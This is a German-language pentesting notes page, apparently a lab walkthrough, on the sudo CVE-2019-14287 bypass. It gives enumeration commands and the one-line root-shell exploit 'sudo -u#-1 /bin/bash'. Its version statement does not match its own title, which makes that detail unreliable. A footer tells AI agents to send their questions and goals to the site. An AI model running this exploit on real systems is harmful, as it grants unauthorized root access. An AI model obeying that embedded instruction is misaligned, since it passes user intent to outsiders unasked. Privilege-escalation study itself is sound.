> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/sudoers/sudo-version-vulnerabilities-linux-privilege-escalation/sudo-version-1.8.27-cve-2019-14287.md).

# sudo 1.8.27 CVE-2019-14287

## Was es ist

Die sudoers-Privilegieneskalation beginnt mit den Befehlen, die ein Benutzer über `sudo`. Fehlkonfigurierte Binärdateien, unsichere Skriptargumente, der Umgang mit symbolischen Links und verwundbare sudo-Versionen können eingeschränkte sudo-Rechte in eine Root-Shell verwandeln. Diese spezielle Seite konzentriert sich auf **sudo 1.8.27 \[CVE-2019-14287]** und hält den Ausnutzungsablauf praxisnah: Bedingung identifizieren, sicher validieren und dann die kleinste nötige Nutzlast ausführen, um die Auswirkungen zu belegen.

## Enumeration

Beginnen Sie damit, den lokalen Kontext und die genaue Fehlkonfiguration zu bestätigen, bevor Sie den Exploit-Pfad ausführen.

```bash
sudo -l
sudo --version
```

## Beispiele

### Missbrauch von sudo-Rechten (CVE-2019-14287):

Bei der Prüfung der sudo-Rechte haben wir eine verwundbare Konfiguration in der sudoers-Datei entdeckt. Mit dem `sudo -l` Befehl haben wir eine Berechtigung identifiziert, sich mit allen Benutzern zu verbinden, außer `root`, mit dem `/bin/bash` Befehl:

<figure><img src="/files/9a9c5163547aaf4ba2b2e8ac8a2c7a07fa747122" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.exploit-db.com/exploits/47502>" %}

Diese Sicherheitslücke betrifft alle sudo-Versionen vor 1.8.27.

In unserem Fall ist die sudo-Version kleiner als 1.8.27, wodurch sich diese Sicherheitslücke ausnutzen lässt.

<figure><img src="/files/09ae55ad5951fc4b796f8c5a85d31770c7ce64cf" alt="" width="510"><figcaption></figcaption></figure>

Um diese Sicherheitslücke auszunutzen, führen Sie einfach den folgenden Befehl aus:

```bash
sudo -u#-1 /bin/bash
```

Mit diesem Befehl können Sie eine Shell als Benutzer ausführen `-1`, was dem Benutzer entspricht `root`.

<figure><img src="/files/2013b5e5b422ae956c70191f7697a084230bb1d1" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/sudoers/sudo-version-vulnerabilities-linux-privilege-escalation/sudo-version-1.8.27-cve-2019-14287.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
